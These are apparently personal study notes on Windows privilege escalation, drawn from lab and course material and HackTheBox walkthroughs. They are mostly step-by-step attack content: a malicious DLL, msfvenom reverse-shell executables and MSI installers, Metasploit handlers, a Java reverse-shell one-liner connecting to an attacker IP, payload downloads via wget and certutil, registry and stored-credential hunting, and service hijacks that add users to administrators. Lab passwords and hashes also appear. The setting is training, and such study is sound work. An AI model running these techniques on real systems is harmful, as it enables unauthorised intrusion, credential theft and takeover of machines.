have on the system allow us to write to any folder in the search order, we can
have a possible DLL hijacking vulnerability. An important note is that the
application should not be able to find the legitimate DLL before our modified
DLL.

This is the final element needed for a successful DLL
Hijacking attack.

Finding DLL Hijacking Vulnerabilities

Identifying DLL Hijacking vulnerabilities will require
loading additional tools or scripts to the target system. Another approach
could be to install the same application on a test system. However, this may
not give accurate results due to version differences or target system
configuration.

The tool you can use to find potential DLL hijacking
vulnerabilities is Process Monitor (ProcMon). As ProcMon will require
administrative privileges to work, this is not a vulnerability you can uncover
on the target system. If you wish to check any software for potential DLL
hijacking vulnerabilities, you will need to install the software on your test
environment and conduct research there.

The screenshot below shows you what to look for in the
ProcMon interface. You will see some entries resulted in “NAME NOT FOUND”.

The last two lines in the screenshot above show that
dllhijackservice.exe is trying to launch hijackme.dll in the “C:\Temp” folder
but can not find this file. This is a typical case of a missing DLL file.

The second step of the attack will consist of us
creating this file in that specific location. It is important that we have
write permissions for any folder we wish to use for DLL hijacking. In this
case, the location is the Temp folder for which almost all users have write
permissions; if this was a different folder, we would need to check the
permissions.

Creating the malicious DLL file

As mentioned earlier, DLL files are executable files.
They will be run by the executable file, and the commands they contain will be
executed. The DLL file we will create could be a reverse shell or an operating
system command depending on what we want to achieve on the target system or
based on configuration limitations. The example below is a skeleton DLL file
you can adapt according to your needs.

Skeleton
Code for the Malicious DLL

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason,
LPVOID lpReserved) {

if (dwReason == DLL_PROCESS_ATTACH)
{

system("cmd.exe /k whoami
> C:\\Temp\\dll.txt");

ExitProcess(0);

}

return TRUE;

}

Leaving aside the boilerplate parts, you can
see this file will execute the whoami command
(cmd.exe /k whoami) and save the output in a
file called "dll.txt".

The mingw compiler can be used to generate the DLL
file with the command given below:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o
output.dll

You can easily install the Mingw compiler using
the apt install gcc-mingw-w64-x86-64 command.

We have seen earlier that the application we target
searches for a DLL named hijackme.dll. This is what our malicious DLL should be
named.

You can copy the C code above given for the DLL file
to the AttackBox or the operating system you are using and proceed with
compiling.

Once compiled, we will need to move the
hijackme.dll file to the Temp folder in our target system. You can use the
following PowerShell command to download the .dll file to the target
system: wget -O hijackme.dll
ATTACKBOX_IP:PORT/hijackme.dll

We will have to stop and start the dllsvc service
again using the command below:

sc stop dllsvc & sc start dllsvc

Unquoted
Service Path

When a
service starts in Windows, the operating system has to find and run an
executable file. For example, you will see in the terminal output below that
the "netlogon" service (responsible for authenticating users in the
domain) is, in fact, referring to the C:\Windows\system32\lsass.exe
binary.

Netlogon
and its binary

C:\Users\user>sc qc netlogon

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: netlogon

TYPE               : 20  WIN32_SHARE_PROCESS

START_TYPE         : 3
DEMAND_START

ERROR_CONTROL      : 1
NORMAL

BINARY_PATH_NAME   : C:\Windows\system32\lsass.exe

LOAD_ORDER_GROUP   : MS_WindowsRemoteValidation

TAG                : 0

DISPLAY_NAME       : Netlogon

DEPENDENCIES       : LanmanWorkstation

SERVICE_START_NAME : LocalSystem

C:\Users\user>

In the
example above, when the service is launched, Windows follows a search order
similar to what we have seen in the previous task. Imagine now we have a
service (e.g. srvc) which has a binary path set to C:\Program Files\topservice
folder\subservice subfolder\srvc.exe

To the
human eye, this path would be merely different than "C:\Program
Files\topservice folder\subservice subfolder\srvc.exe". We would
understand the service is trying to run srvc.exe.

Windows
approaches the matter slightly differently. It knows the service is looking for
an executable file, and it will start looking for it. If the path is written
between quotes, Windows will directly go to the correct location and launch
service.exe.

However,
if the path is not written between quotes and if any folder name in the path
has a space in its name, things may get complicated. Windows will append
".exe" and start looking for an executable, starting with the
shortest possible path. In our example, this would be C:\Program.exe. If
program.exe is not available, the second attempt will be to run topservice.exe
under C:\Program Files\. If this also fails, another attempt will be made for
C:\Program Files\topservice folder\subservice.exe. This process repeats until
the executable is found.

Knowing
this, if we can place an executable in a location we know the service is
looking for one, it may be run by the service.

As you
can understand, exploiting an unquoted service path vulnerability will require
us to have write permissions to a folder where the service will look for an
executable.

Finding Unquoted Service Path Vulnerabilities

Tools
like winPEAS and PowerUp.ps1 will usually detect unquoted service paths. But we
will need to make sure other requirements to exploit the vulnerability are
filled. These are;

Being able to write to a folder on the path

Being able to
restart the service

If
either of these conditions is not met, successful exploitation may not be
possible.

The
command below will list services running on the target system. The result will
also print out other information, such as the display name and path.

wmic service get name,displayname,pathname,startmode

The
command may show some Windows operating system folders. As you will not have
"write" privileges on those with a limited user, these are not valid
candidates.

Going
over the output of this command on the target machine, you will notice that the
"unquotedsvc" service has a path that is not written between
quotes.

Once we
have located this service, we will have to make sure other conditions to
exploit this vulnerability are met.

You can
further check the binary path of this service using the command below:

sc qc unquotedsvc

Once we
have confirmed that the binary path is unquoted, we will need to check our
privileges on folders in the path. Our goal is to find a folder that is
writable by our current user. We can use accesschk.exe with the command below
to check for our privileges.

.\accesschk64.exe /accepteula -uwdq "C:\Program
Files\"

The
output will list user groups with read (R) and write (W) privileges on the
"Program Files" folder.

The
accesschk binary is on the desktop of the target system (MACHINE_IP)

We now
have found a folder we can write to. As this folder is also in the service's
binary path, we know the service will try to run an executable with the name of
the first word of the folder name.

We can
use msfvenom (on the AttackBox) to generate an executable. The command below
will wrap Meterpreter in an executable file.

msfvenom -p windows/x64/shell_reverse_tcp
LHOST=[KALI or AttackBox IP Address] LPORT=[The Port to which the reverse shell
will connect] -f exe > executable_name.exe

The
command above will generate a reverse shell. This means that it will try to
connect back to our attacking machine. We will need to launch Metasploit and
configure the handler to accept this connection. The terminal screen below
shows a typical configuration. Please note that the LHOST value (attacking
machine IP address, 10.9.6.195 in the example below) will be different and
you may also change the LPORT (local port) if you have used a different port
when generating the executable file. If the screen below seems unfamiliar, you
can complete the Metasploit module to learn more about Metasploit.

msfconsole

msf6 > use exploit/multi/handler

[*] Using configured payload windows/x64/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload
windows/x64/shell_reverse_tcp

payload => windows/x64/shell_reverse_tcp

msf6 exploit(multi/handler) > set lport 8899

lport => 8899

msf6 exploit(multi/handler) > set lhost 10.9.6.195

lhost => 10.9.6.195

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.6.195:8899

Once
you have generated and moved the file to the correct location on the target
machine, you will need to restart the vulnerable service.

You can use the sc start unquotedsvc command to
start the service.

Token
Impersonation

Service accounts, briefly mentioned in the
introduction task, may have a higher privilege level than the low-level user
you may have. In Windows versions before Server 2019 and 10 (version 1809),
these service accounts are affected by an internal man-in-the-middle
vulnerability. As you may know, man-in-the-middle (MitM) attacks are conducted
by intercepting network traffic. In a similar fashion, higher privileged
service accounts will be forced to authenticate to a local port we listen on.
Once the service account attempts to authenticate, this request is modified to
negotiate a security token for the "NT AUTHORITY\SYSTEM" account. The
security token obtained can be used by the user we have in a process called
"impersonation". Although it has led to several exploits, the
impersonation rights were not a vulnerability.

In Windows versions
after Server 2019 and Windows 10 (version 1809), impersonation rights were
restricted. You can see below that a regular user does not have the
"SeImpersonatePrivilege" privilege.

Regular
User "whoami /priv" Output

C:\Users\user>whoami /priv

PRIVILEGES INFORMATION

----------------------

Privilege Name                Description
State

============================= ==============================
========

SeChangeNotifyPrivilege       Bypass
traverse checking
Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\Users\user>

Admin
User "whoami /priv" Output

C:\Users\admin>whoami /priv

PRIVILEGES INFORMATION

----------------------

Privilege Name                            Description
State

========================================= ==================================================================
========

SeIncreaseQuotaPrivilege
Adjust memory quotas for a process                                 Disabled

SeSecurityPrivilege
Manage auditing and security log
Disabled

SeTakeOwnershipPrivilege
Take ownership of files or other objects
Disabled

SeLoadDriverPrivilege
Load and unload device drivers
Disabled

SeSystemProfilePrivilege
Profile system performance
Disabled

SeSystemtimePrivilege
Change the system time
Disabled

SeProfileSingleProcessPrivilege
Profile single process
Disabled

SeIncreaseBasePriorityPrivilege
Increase scheduling priority
Disabled

SeCreatePagefilePrivilege
Create a pagefile
Disabled

SeBackupPrivilege
Back up files and directories
Disabled

SeRestorePrivilege
Restore files and directories
Disabled

SeShutdownPrivilege
Shut down the system
Disabled

SeDebugPrivilege
Debug programs
Disabled

SeSystemEnvironmentPrivilege
Modify firmware environment values
Disabled

SeChangeNotifyPrivilege
Bypass traverse checking
Enabled

SeRemoteShutdownPrivilege
Force shutdown from a remote system
Disabled

SeUndockPrivilege
Remove computer from docking station
Disabled

SeManageVolumePrivilege
Perform volume maintenance tasks
Disabled

SeImpersonatePrivilege
Impersonate a client after authentication
Enabled

SeCreateGlobalPrivilege
Create global objects
Enabled

SeIncreaseWorkingSetPrivilege
Increase a process working set
Disabled

SeTimeZonePrivilege
Change the time zone
Disabled

SeCreateSymbolicLinkPrivilege
Create symbolic links
Disabled

SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for
another user in the same session Disabled

C:\Users\admin>

Doing
further research on token impersonation vulnerabilities, you will see a number
of different exploits exist. These have whimsical names such as Hot Potato,
Rotten Potato, Lonely Potato, Juicy Potato, etc. You will be able to decide on
which "Potato" better suits your need depending on the version of the
target system. While some of these exploits will run on the target system,
others may require you to set up a fake server on the same network.

The
first of these potato exploits was "Hot Potato", and it could help
you have a better understanding of the fundamental idea behind these exploits.

Hot Potato: Steps 1 to 4

Step 1: The target system uses the Web Proxy
Auto-Discovery (WPAD) protocol to locate its update server.

Step 2: This request is intercepted by the exploit,
which sends a response redirecting the target system to a port on 127.0.0.1.

Step 3: The target system will ask for a proxy
configuration file (wpad.dat).

Step 4: A malicious wpad.dat file is sent to the
target.

Hot Potato: Steps 5 to 8

Step 5: The target system tries to connect to the
proxy (now set by the malicious wpad.dat file sent on the previous step).

Step 6: The exploit will ask the target system to
perform an NTLM authentication.

Step 7: The target system sends an NTLM handshake.

Step 8: The handshake received is relayed to the SMB
service with a request to create a process. This process will have the
privilege level of the service targeted, which would typically be "NT
AUTHORITY\SYSTEM".

All requests are sent and received within the target
system.

Microsoft published an update in the MS16-075 security
bulletin to mitigate this exploit, and Hot Potato was followed by Rotten
Potato. Rotten Potato uses a similar approach but leverages RPC.

Which "Potato" version you can use will vary
depending on the target system's version, patch level and network connection
limitation. While "Hot Potato" works within the target system, other
versions may require network access over specific ports.

Quick Wins

Privilege escalation is not always a challenge. Some
misconfigurations can allow you to obtain higher privileged user access and, in
some cases, even administrator access. It would help if you considered these to
belong more to the realm of CTF events rather than scenarios you will encounter
during real penetration testing engagements. However, if none of the previously
mentioned methods works, you can always go back to these.

Scheduled Tasks

Looking into scheduled tasks on the target system, you
may see a scheduled task that either lost its binary or using a binary you can
modify.

For this method to work, the scheduled task should be
set to run with a user account with a higher privilege level than the one you
currently have.

Scheduled tasks can be listed from the command
line using the schtasks command, using
the task scheduler, or, if possible, uploading a tool such as Autoruns64.exe to
the target system.

AlwaysInstallElevated

Windows installer files (also known as .msi files) are
used to install applications on the system. They usually run with the privilege
level of the user that starts it. However, these can be configured to run with
higher privileges if the installation requires administrator privileges.

This could potentially allow us to generate a
malicious MSI file that would run with admin privileges.

This method requires two registry values to be set.
You can query these from the command line using the commands below.

reg query
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Remember, to be able to exploit this vulnerability,
both should be set. Otherwise, exploitation will not be possible.

If these are set, you can generate a malicious
.msi file using msfvenom, as seen below.

msfvenom -p
windows/x64/shell_reverse_tcpLHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi
-o malicious.msi

As this is a reverse shell, you should also run the
Metasploit Handler module configured accordingly.

Once you have transferred the file you have created,
you can run the installer with the command below and receive the reverse shell.

Command
Run on the Target System

C:\Users\user\Desktop>msiexec /quiet /qn /i
C:\Windows\Temp\malicious.msi

Passwords

We have seen earlier
that looking for configuration or user-generated files containing cleartext
passwords can be rewarding. There are other locations on Windows that could
hide cleartext passwords.

Saved credentials: Windows allows us to use
other users' credentials. This function also gives the option to save these
credentials on the system. The command below will list saved credentials.

cmdkey /list

If you see any credentials worth trying, you
can use them with the runas command
and the /savecred option, as seen below.

runas /savecred /user:admin reverse_shell.exe

Registry keys: Registry keys potentially containing passwords can be
queried using the commands below.

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Unattend files: Unattend.xml files helps system administrators
setting up Windows systems. They need to be deleted once the setup is complete
but can sometimes be forgotten on the system. What you will find in the
unattend.xml file can be different according to the setup that was done. If you
can find them on a system, they are worth reading.

---- TCM
SECURITY COURSE ---

Friday,
March 18, 2022

8:20
AM

Resources
for Success

Friday,
March 18, 2022

8:21
AM

Fuzzy Security
Guide -

https://www.fuzzysecurity.com/tutorials/16.html

PayloadsAllTheThings
Guide -

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Absolomb
Windows Privilege Escalation Guide -

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Sushant 747's
Guide (Country dependant - may need VPN) -

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html

All
resources used in the course:

https://github.com/TCM-Course-Resources/Windows-Privilege-Escalation-Resources

Manual
Enumeration

Friday,
March 18, 2022

8:42
AM

System Enumeration

systeminfo

provides basic system
information

systeminfo | findstr
/B /C:"OS Name" /C:"OS Version" /C:"System Type"

Pulls down those three pieces
of information quickly

wmic qfe

Pulls down patching
information

wmic qfe get
Caption,Description,HotFixID,InstalledOn

Pulls down that specific
information on patches - makes it cleaner

wmic logicaldisk get
caption,description,providername

List out all the drives

User Enumeration

whoami /priv

list of privs we have

useful for token
impersonation

whoami /groups

list of groups the user is in

net user

list of users on the machine

net user
<username>

enumerate specific
information on a user

net localgroup

list of local groups

net localgroup
<groupname>

See who is part of a specific
group (i.e. administrator group)

Network Enumeration

ipconfig /all

See network architecture of
the machine

arp -a

Look to see if there are
other IPs or machines we can move to

route print

Pull down the routing table
to see what is communicating

netstat -ano

See which ports are open and
communicating

Password Hunting

findstr /si password
*.txt

search for passwords with
.txt filename in current directory

can add others such as .ini
and .config

netsh wlan show
profile

See which wireless networks
user has connected to

netsh wlan show
profile <SSID> key=clear

Show clear-text password of
the wireless networks

AV Enumeration

sc query <AV
service>

Pull down information on the
specific service

i.e. sc query windefend

sc queryex type=
service

Show all services running on
the machine

netsh advfirewall
firewall dump

Dump firewall information

netsh firewall show
state

Older way to dump firewall
informatoin

netsh firewall
configuration

Look at firwall configuratoin

Automated
Enumeration

Friday,
March 18, 2022

10:26
AM

Executables

winPEAS.exe

Seatbelt.exe (compile)

Watson.exe (compile)

SharpUp.exe (compile)

PowerShell

Sherlock.ps1

PowerUp.ps1

jaws-enum.ps1

Other

windows-exploit-suggester.py

Exploit Suggester
(Metasploit)

---

Here's an example of
windows-exploit-suggester.py in use on the Devel box in Hackthebox

Kernel
Exploits

Tuesday,
March 22, 2022

10:14
AM

Overview

The reason we need
"system info" is because there are specific kernel exploits
depending on the Windows build.

If we own the Kernel, we own
the system - that's what we are trying to do.

Escalation with
Metasploit Example (Devel - HTB)

Background the meterpreter
session

Search and use the exploit
you found by priv suggester

Set the appropriate
meterpreter session (and the other options)

Run and get another
meterpreter session!

Be root

Manual Kernel
Exploitation (Devel - HTB)

Search for the specific
kernel exploit in Google

ms10-015 doesn't work because
we don't have GUI access - so keep working through them & researching
each one

Rest of example is with
MS10-059 (chimichurri exploit)

Downloaded the .exe to
attacking machine

Set up Python HTTP server on
attacking machine to host the file for victim to download

Go to temp folder (likely
have write access here)

Download the file with
certutil command (similar to wget on Linux)

Run the command with proper
syntax (ms.exe <attacker_IP> <attacker_port>

On attacking machine, open
another shell with the correct port

Become root!

Passwords
& Port Forwarding

Wednesday,
March 23, 2022

10:42
AM

Searching for
Passwords

In Registry

#
VNC

reg query "HKCU\Software\ORL\WinVNC3\Password"

#
Windows autologin

reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\Currentversion\Winlogon"

# SNMP
Paramters

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

#
Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

#
Search for password in registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Port Forwarding

Use netstat -ano to see which
ports are open

Download the latest version
of plink.exe for the correct architecture

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

Host it on attack machine,
download with certutil on victim machine to a writeable folder (/temp/ or
the user folder)

gedit /etc/ssh/sshd_config
and set PermitRootLogin to Yes

Restart and start SSH service

Use the plink syntax for port
forwarding

Should bring us to
"root" on our box - then we know it was successful

Use winexe to get access to
the machine again as administrator

Hit enter a few times until
you get a shell

You are now root/system!

Windows
Subsystem for Linux (WSL)

Monday,
March 28, 2022

3:29
PM

HackTheBox -
SecNotes Machine

Log in with SQL Injection

Find the credentials in the
new site note

92g!mA8BGjOirkL%OG*&

Use smbclient to connect to
the "new-site" share

This is the site for the page
on 8808

Copy nc.exe to the folder we
want to use (new tab)

Put nc.exe in the smbclient
folder

Create malicious php shell
file

Put the malicious php in the
smb share

Set up net cat listener on
attacking machine

Go to the malicious php file
on the web page -- and you have shell

Priv Esc

Search for bash.exe

Search for wsl.exe

Run bash.exe and get a linux
terminal as root

Upgrade shell

Good enumeration - check the
bash history with the "history" command

You can get the flags by
using the administrator credentials found in the history

Download impacket from github
to /opt/ -- use pip to install

Use smbexec to get nt
authority/system access

Token
Impersonation

Tuesday,
March 29, 2022

2:08
PM

What are tokens?

Temporary keys that allow
you access to a system/network without having to provide credentials each
time you access a file. Think cookies for computers.

Two types:

Delegate: Created for
logging into a machine or using Remote Desktop

Impersonate:
"non-interactive" such as attaching a network drive or a domain
logon script

-- Need
to load psexec through Metasploit first.

--------------------------------------

Privileges Overview

Example of what privileges
you can see when you get shell on a system

The
"SeImpersonatePrivilege" allows token impersonation

getprivs in meterpreter does
the same thing

----------------------------------

Potato Attacks
Overview

Technical Overview: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

Trick the “NT
AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint
we control.

Man-in-the-middle
this authentication attempt (NTLM relay) to locally negotiate a security
token for the “NT AUTHORITY\SYSTEM” account. This is done through a
series of Windows API calls.

Impersonate the
token we have just negotiated. This can only be done if the attackers
current account has the privilege to impersonate security tokens. This is
usually true of most service accounts and not true of most user-level
accounts.

Juicy Potato - Git
Hub - https://github.com/ohpe/juicy-potato

----------------------------

Walkthrough -
Jeeves (HackTheBox)

Information disclosure with
error message

Port 50000
information disclosure -

Jetty
9.4.z-SNAPSHOT

Found a script
console on port 50000/askjeeves/script

Going to try this
in the console:

String
host=”10.10.14.13";

int port=9993;

String
cmd=”cmd.exe”;

Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Got shell!

Interesting finds
from windows-exploit-suggester.py

Possible admin
credentials

ccd3bc435b3c4f80bea8acca28aec491

More possible admin
credentials found in config file

<passwordHash>#jbcrypt:$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO</passwordHash>

Looks like
impersonate is enabled

Metasploit Time

Open metasploit
(msfconsole)

Type "use
exploit/multi/script/web_delivery"

Set the options:

target = 2 (psh)

set payload
windows/meterpreter/reverse_tcp

set lhost to attacker IP

set srvhost to attacker ip
as well

Type
"run" and copy the powershell command

Run the command
on victim machine -- should get meterpreter shell

Type
"sessions 1" to open the session

getuid

sysinfo

getprivs

Type
"background" to background the session

Search for
"juicy potato" and select the exploit

Set options

set lhost to
attacker ip

set lport to 5555 (session
1 is on 4444)

set session to 1

set payload
windows/x64/meterpreter/reverse_tcp

Type
"Run" and get meterpreter shell

Type
"shell" to drop in shell - use "whoami" to verify
that we are root

Go to
C:\Users\Administrators\Desktop -- type dir to see the hm.txt

Type "type
hm.txt" -- need to "look deeper"

Alternate Data
Streams

https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

Type "dir
/R" to find the hidden file

Type "more
< hm.txt:root.txt:$DATA" to get the root flag

GetSystem

Wednesday,
March 30, 2022

9:58
AM

There is a built-in
tool in Metasploit called "getsystem." It tries to elevate the system
in multiple ways.

This should be attempted when
you get a meterpreter shell to see if you can get an easy win.

Use in CTFs... not so much
in the real world

Technical details - https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

RunAs

Wednesday,
March 30, 2022

10:43
AM

Something that should be
checked when logged into a Windows computer as low-level user.

Walkthrough - Access
from HackTheBox

Port 21 - FTP

Two files -- backup and an
archive

Can't open the archive and I
can't open the backup due to an error. I am guessing there are passwords
in the back up I can use for telnet.

GOt access to the back up
after changing ftp to binary

admin

admin

engineer

access4u@security

backup_admin

admin

----

Opened the .pst file
and found this information -- password is from the engineer creds above

4Cc3ssC0ntr0ller

Got telnet access

Used the telnet log in module
in Metasploit to get a session in Metasploit

Used
multi/manage/shell_to_meterpreter to get a meterpreter session from the
telnet connection

------------ Scratch
that ^^^ did not work

RunAs Walkthrough

Type "cmdkey /list"
to see if there are stored credentials

Type the following command -
this will copy the root folder over so you can read it. Runas is similar
to sudo in Linux.

C:\Windows\System32\runas.exe
/user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE
C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

Autoruns

Thursday,
March 31, 2022

9:15
AM

Detection

Windows VM

1.
Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe

2. In
Autoruns, click on the ‘Logon’ tab.

3.
From the listed results, notice that the “My Program” entry is pointing to
“C:\Program Files\Autorun Program\program.exe”.

4. In
command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe
-wvu "C:\Program Files\Autorun Program"

5.
From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS”
permission on the “program.exe” file.

Exploitation

Kali VM

1.
Open command prompt and type: msfconsole

2. In
Metasploit (msf > prompt) type: use
multi/handler

3. In
Metasploit (msf > prompt) type: set
payload windows/meterpreter/reverse_tcp

4. In
Metasploit (msf > prompt) type: set
lhost [Kali VM IP Address]

5. In
Metasploit (msf > prompt) type: run

6.
Open an additional command prompt and type: msfvenom
-p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe
-o program.exe

7.
Copy the generated file, program.exe, to the Windows VM.

Windows VM

1.
Place program.exe in ‘C:\Program Files\Autorun
Program’.

2. To
simulate the privilege escalation effect, logoff and then log back on as an
administrator user.

Kali VM

1.
Wait for a new session to open in Metasploit.

2. In
Metasploit (msf > prompt) type: sessions -i [Session ID]

3. To
confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid

AlwaysInstallElevated

Thursday,
March 31, 2022

9:40
AM

Detection

Windows VM

1.Open
command prompt and type: reg query
HKLM\Software\Policies\Microsoft\Windows\Installer

2.From
the output, notice that “AlwaysInstallElevated” value is 1.

3.In
command prompt type: reg query
HKCU\Software\Policies\Microsoft\Windows\Installer

4.From
the output, notice that “AlwaysInstallElevated” value is 1.

Exploitation

Kali VM

1.
Open command prompt and type: msfconsole

2. In
Metasploit (msf > prompt) type: use
multi/handler

3. In
Metasploit (msf > prompt) type: set
payload windows/meterpreter/reverse_tcp

4. In
Metasploit (msf > prompt) type: set
lhost [Kali VM IP Address]

5. In
Metasploit (msf > prompt) type: run

6.
Open an additional command prompt and type: msfvenom
-p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi
-o setup.msi

7.
Copy the generated file, setup.msi, to the Windows VM.

Windows VM

1.Place
‘setup.msi’ in ‘C:\Temp’.

2.Open
command prompt and type: msiexec /quiet /qn
/i C:\Temp\setup.msi

Enjoy
your shell! :)

Regsvc

Thursday,
March 31, 2022

9:58
AM

Detection

Windows VM

1.
Open powershell prompt and type: Get-Acl
-Path hklm:\System\CurrentControlSet\services\regsvc | fl

2.
Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE”
has “FullContol” permission over the registry key.

Exploitation

Windows VM

1.
Copy ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ to the
Kali VM.

Kali VM

1.
Open windows_service.c in a text editor and replace the command used by the
system() function to: cmd.exe /k net
localgroup administrators user /add

2.
Exit the text editor and compile the file by typing the following in the
command prompt: x86_64-w64-mingw32-gcc
windows_service.c -o x.exe (NOTE: if this is not installed, use 'sudo apt
install gcc-mingw-w64')

3.
Copy the generated file x.exe, to the Windows VM.

Windows VM

1.
Place x.exe in ‘C:\Temp’.

2.
Open command prompt at type: reg add
HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d
c:\temp\x.exe /f

3. In
the command prompt type: sc start regsvc

4. It
is possible to confirm that the user was added to the local administrators
group by typing the following in the command prompt: net localgroup administrators

Executable
Files

Thursday,
March 31, 2022

1:33
PM

You can find the specific
service to exploit with PowerUp.ps1 > Invoke-AllChecks

Detection

Windows VM

1.
Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe
-wvu "C:\Program Files\File Permissions Service"

2.
Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the
filepermservice.exe file.

Exploitation

Windows VM

1.
Open command prompt and type: copy /y
c:\Temp\x.exe "c:\Program Files\File Permissions
Service\filepermservice.exe"

2. In
command prompt type: sc start filepermsvc

3. It
is possible to confirm that the user was added to the local administrators
group by typing the following in the command prompt: net localgroup administrators

Startup
Applications

Thursday,
March 31, 2022

1:49
PM

Detection

Windows VM

1.
Open command prompt and type: icacls.exe
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

2.
From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to
the directory.

Exploitation

Kali VM

1.
Open command prompt and type: msfconsole

2. In
Metasploit (msf > prompt) type: use
multi/handler

3. In
Metasploit (msf > prompt) type: set
payload windows/meterpreter/reverse_tcp

4. In
Metasploit (msf > prompt) type: set
lhost [Kali VM IP Address]

5. In
Metasploit (msf > prompt) type: run

6.
Open another command prompt and type: msfvenom
-p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe
-o x.exe

7.
Copy the generated file, x.exe, to the Windows VM.

Windows VM

1.
Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.

2.
Logoff.

3.
Login with the administrator account credentials.

Kali VM

1.
Wait for a session to be created, it may take a few seconds.

2. In
Meterpreter(meterpreter > prompt) type: getuid

3.
From the output, notice the user is “User-PC\Admin”

DLL
Hijacking

Thursday,
March 31, 2022

2:03
PM

Detection

Windows VM

1.
Open the Tools folder that is located on the desktop and then go the Process
Monitor folder.

2. In
reality, executables would be copied from the victim’s host over to the
attacker’s host for analysis during run time. Alternatively, the same software
can be installed on the attacker’s host for analysis, in case they can obtain
it. To simulate this, right click on Procmon.exe and select ‘Run as
administrator’ from the menu.

3. In
procmon, select "filter".  From the left-most drop down menu,
select ‘Process Name’.

4. In
the input box on the same line type: dllhijackservice.exe

5.
Make sure the line reads “Process Name is dllhijackservice.exe then Include”
and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.

6.
Next, select from the left-most drop down menu ‘Result’.

7. In
the input box on the same line type: NAME
NOT FOUND

8.
Make sure the line reads “Result is NAME NOT FOUND then Include” and click on
the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.

9.
Open command prompt and type: sc start
dllsvc

10.
Scroll to the bottom of the window. One of the highlighted results shows that
the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as
the file was not found. Note that ‘C:\Temp’ is a writable location.

Exploitation

Windows VM

1.
Copy ‘C:\Users\User\Desktop\Tools\Source\windows_dll.c’ to the Kali VM.

Kali VM

1.
Open windows_dll.c in a text editor and replace the command used by the
system() function to: cmd.exe /k net
localgroup administrators user /add

2.
Exit the text editor and compile the file by typing the following in the
command prompt: x86_64-w64-mingw32-gcc
windows_dll.c -shared -o hijackme.dll

3.
Copy the generated file hijackme.dll, to the Windows VM.

Windows VM

1.
Place hijackme.dll in ‘C:\Temp’.

2.
Open command prompt and type: sc stop
dllsvc & sc start dllsvc

3. It
is possible to confirm that the user was added to the local administrators
group by typing the following in the command prompt: net localgroup administrators

binPath

Thursday,
March 31, 2022

2:23
PM

Detection

Windows VM

1.
Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe
-wuvc daclsvc

2.
Notice that the output suggests that the user “User-PC\User” has the
“SERVICE_CHANGE_CONFIG” permission.

Exploitation

Windows VM

1. In
command prompt type: sc config daclsvc
binpath= "net localgroup administrators user /add"

2. In
command prompt type: sc start daclsvc

3. It
is possible to confirm that the user was added to the local administrators
group by typing the following in the command prompt: net localgroup administrators

Unquoted
Service Paths

Thursday,
March 31, 2022

2:39
PM

Detection

Windows VM

1.
Open command prompt and type: sc qc
unquotedsvc

2.
Notice that the “BINARY_PATH_NAME” field displays a path that is not confined
between quotes.

Exploitation

Kali VM

1.
Open command prompt and type: msfvenom -p
windows/exec CMD='net localgroup administrators user /add' -f exe-service -o
common.exe

2.
Copy the generated file, common.exe, to the Windows VM.

Windows VM

1.
Place common.exe in ‘C:\Program Files\Unquoted Path Service’.

2.
Open command prompt and type: sc start
unquotedsvc

3. It
is possible to confirm that the user was added to the local administrators
